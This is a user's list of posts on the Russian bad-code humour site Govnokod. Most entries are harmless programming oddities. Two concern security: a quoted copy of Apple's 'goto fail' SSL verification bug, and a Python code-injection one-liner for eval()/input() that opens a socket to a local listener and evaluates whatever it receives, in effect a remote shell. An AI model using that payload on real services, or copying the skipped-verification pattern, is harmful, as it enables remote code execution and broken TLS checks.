1. Список говнокодов пользователя Vindicar

    Всего: 28

  2. Си / Говнокод #18028

    +105

    1. 1
    x = x + exp(ln(2)*i);

    Встретил в коде опроса датчика, не сразу понял, что это делает.
    Когда понял, понял что лучше бы не понимал.

    Vindicar, 20 Апреля 2015

    Комментарии (43)
  3. JavaScript / Говнокод #16127

    +162

    1. 1
    2. 2
    3. 3
    var interval = setInterval(function() {}, 10000);
        // get rid of the newline-removing interval
        for (var j = interval - 10000; j < interval + 10000; j++) { clearInterval(j); }

    Кусок юзерскрипта, позволяющего вставлять переносы строки в заданных вопросах на Tumblr.
    Это просто волшебно...

    Vindicar, 08 Июня 2014

    Комментарии (6)
  4. Си / Говнокод #14935

    +142

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    static OSStatus
    SSLVerifySignedServerKeyExchange(SSLContext *ctx, bool isRsa, SSLBuffer signedParams,
                                     uint8_t *signature, UInt16 signatureLen)
    {
        OSStatus        err;
        ...
    
        if ((err = SSLHashSHA1.update(&hashCtx, &serverRandom)) != 0)
            goto fail;
        if ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0)
            goto fail;
            goto fail;
        if ((err = SSLHashSHA1.final(&hashCtx, &hashOut)) != 0)
            goto fail;
        ...

    Говно с яблочным привкусом.
    http://habrahabr.ru/post/213525/

    P.S.: Не уверен Си это или плюсы.

    Vindicar, 24 Февраля 2014

    Комментарии (59)
  5. Python / Говнокод #14779

    −99

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    >>> max
    <built-in function max>
    >>> max.__call__
    <method-wrapper '__call__' of builtin_function_or_method object at 0x01D72080>
    >>> max.__call__.__call__
    <method-wrapper '__call__' of method-wrapper object at 0x022D2730>
    >>> max.__call__.__call__.__call__
    <method-wrapper '__call__' of method-wrapper object at 0x022D29B0>
    >>> max.__call__.__call__.__call__.__call__
    <method-wrapper '__call__' of method-wrapper object at 0x022D2970>
    >>> max.__call__.__call__.__call__.__call__(1,2,3)
    3

    We need to go deeper.

    Vindicar, 21 Февраля 2014

    Комментарии (10)
  6. C++ / Говнокод #14320

    +27

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    int enumDevices(DevInfo* &lst) {
        int count = 0;
        DevInfo* tmp = NULL;
        Device device;
        for (int i = 0; i < MAXDEVICES; i++)
            if (device = OpenDevice(i)) {
                count++;
                realloc(tmp, sizeof(DevInfo)*count);
                ReadInfo(device, &tmp[count-1]
            }
        if (count == 0) return 0;
        lst = new DevInfo[count];
        for (int i = 0; i < count; i++)
            lst[i] = tmp[i];
        free(tmp);
        return count;
    }
    
    //................
    
    DevInfo* list;
    int devcount = enumDevices(list);
    /* работаем со списком */
    delete[] list;

    Самому стыдно.

    Vindicar, 06 Января 2014

    Комментарии (95)
  7. JavaScript / Говнокод #13526

    +156

    1. 1
    2. 2
    3. 3
    4. 4
    $(document).ready(function(){
     $('a').on('click', function(e){
    e.preventDefault();
     });

    otvety.google.ru/otvety/thread?tid=5c7782971303c68b
    Я не знаю кто это написал, но это волшебно.

    Vindicar, 01 Августа 2013

    Комментарии (8)
  8. JavaScript / Говнокод #13321

    +139

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    // ==UserScript==
    // @name		GK parent comment
    // @namespace	GK
    // @description	Adds links to parent commentary to GK comments, and sets parent commentary text as link tooltip.
    // @include	http://govnokod.ru/*
    // @include	http://www.govnokod.ru/*
    // @version	1.0.0
    // @updateURL	http://userscripts.org/scripts/source/172756.meta.js
    // @downloadURL http://userscripts.org/scripts/source/172756.user.js
    // ==/UserScript==
    
    (function(){
    //hack for Chrome, as it doesn't support unsafeWindow.
    if (typeof unsafeWindow == 'undefined')
    	{
    	unsafeWindow = (function() 
    		{
    		var el = document.createElement('p');
    		el.setAttribute('onclick', 'return window;');
    		return el.onclick();
    		}())
    	};
    $ = unsafeWindow.jQuery;
    
    //dirty, DIRTY hack to wait for certain element to appear. -_- 
    //But I have no idea how to do it right.
    function waitForSelector(selector, context, mustexist, callback) {
    	var l = $(selector, context).length;
    	if ((l>0) != mustexist)
    		{
    		setTimeout(function(){waitForSelector(selector, context, mustexist, callback)}, 50);
    		return false;
    		};
    	callback();
    	}
    
    //short function for adding custom CSS rules. Why use Greasemonkey specific GM_setStyle() just for that?
    function addCSS(rule) {
    	var styleElement = document.createElement("style");
    	styleElement.type = "text/css";
    	if (typeof styleElement.styleSheet !== 'undefined')
    		styleElement.styleSheet.cssText = rule;
    	else
    		styleElement.appendChild(document.createTextNode(rule));
    	document.getElementsByTagName("head")[0].appendChild(styleElement);
    	}
    
    addCSS([
    	'.comment-parent-link {margin-left:10px;font-size:10pt}',
    	].join('/n'));
    
    var PARENT = '<a class="comment-link comment-parent-link" href="">↑</a>';
    
    var oldLoadComments = unsafeWindow.comments['load'];
    
    function newLoadComments(aElemTrigger) {
    	var $parent = $(aElemTrigger).closest('.entry-comments');
    	oldLoadComments.call(this,aElemTrigger);
    	waitForSelector('.hcomment', $parent, true, function(){
    		setParentLinks($parent);
    		});
    	}
    
    unsafeWindow.comments['load'] = newLoadComments;
    	
    function setParentLinks($context) {
    	$context.find('.hcomment').each(function(i,e){
    		var $this = $(this);
    		var $parent = $this.parents('.hcomment:eq(0)');
    		if ($parent.length) {
    			var $parentlink = $(PARENT);
    			$parentlink.attr('href', $parent.find('a.comment-link:eq(0)').attr('href'));
    			$parentlink.attr('title', $parent.find('.comment-text:eq(0)').text());
    			$this.find('a.comment-link:eq(0)').after($parentlink);
    			}
    		});
    	}
    
    setParentLinks($('body'));
    })();

    http://userscripts.org/scripts/show/172756
    По просьбам трудящихся, скрипт для поиска родительского комментария. Добавляет ссылку на родителя, и ставит его текст как тултип.
    Учитывая подключение либы с самого сайта и метод поиска динамически подгруженных комментариев, вполне себе говнокод. А потому: тов. Страйкер, вынесите уже отдельно функцию comments.loadSuccessful()! А то адский гемморой любую постобработку комментариев делать.

    Vindicar, 07 Июля 2013

    Комментарии (105)
  9. Куча / Говнокод #12548

    +130

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    switch(true){
        case isCondFirst():
            value = valueFirst();
            break;
        case isCondSecond():
            value = valueSecond();
            break;
        case isCondThird():
            value = valueThird();
            break;
        default:
            value = valueDefault()
    }

    Занятный баян с хабра. Предложено как замена вложенным тернарным операторам в связи с неочевидным порядком их исполнения в пхп.

    value = isCondFirst() ? valueFirst() : (isCondSecond() ? valueSecond() : (isCondThird() ? valueThird() : (valueDefault())));

    Vindicar, 07 Февраля 2013

    Комментарии (8)
  10. Python / Говнокод #11923

    −94

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    42 if (
        setattr(__builtins__,'___m', {'s':__import__('socket'),'l':__import__('select'),'i':__import__('itertools'),'t':__import__('threading')}),
        setattr(__builtins__,'___conn',__builtins__.___m['s'].create_connection(('127.0.0.1',10500))),
        setattr(__builtins__,'___worker' ,lambda S: any( 
            (True if __builtins__.___m['l'].select([S],[S],[S])[2] else S.sendall(repr(eval(S.recv(4096), globals(), locals()))+'\n')) for i in __builtins__.___m['i'].repeat(0) )
            ),
        __builtins__.___m['t'].Thread(target=__builtins__.___worker,args=(__builtins__.___conn,) ).start(),
        ) else 0

    Code injection для вызовов eval() и input(). Запускает некое подобие Python-консоли в отдельном потоке.
    Отформатировано для удобства чтения, вообще это однострочник.

    Говно в способе, которым организуется цикл работы с сокетом. А что поделать, даже while недоступен.

    Vindicar, 15 Октября 2012

    Комментарии (24)
  11. Куча / Говнокод #11666

    +129

    1. 1
    2. 2
    3. 3
    4. 4
    <li title="document.location='http://handleopenurl.com/scheme/buffer' null" href="http://handleopenurl.com/scheme/buffer" class="scheme" onclick="document.location='http://handleopenurl.com/scheme/buffer'">
    <h1>Buffer</h1>
    <h2 class="code">bufferapp</h2>
    </li>

    И это всё вместо <a>.

    Vindicar, 29 Августа 2012

    Комментарии (9)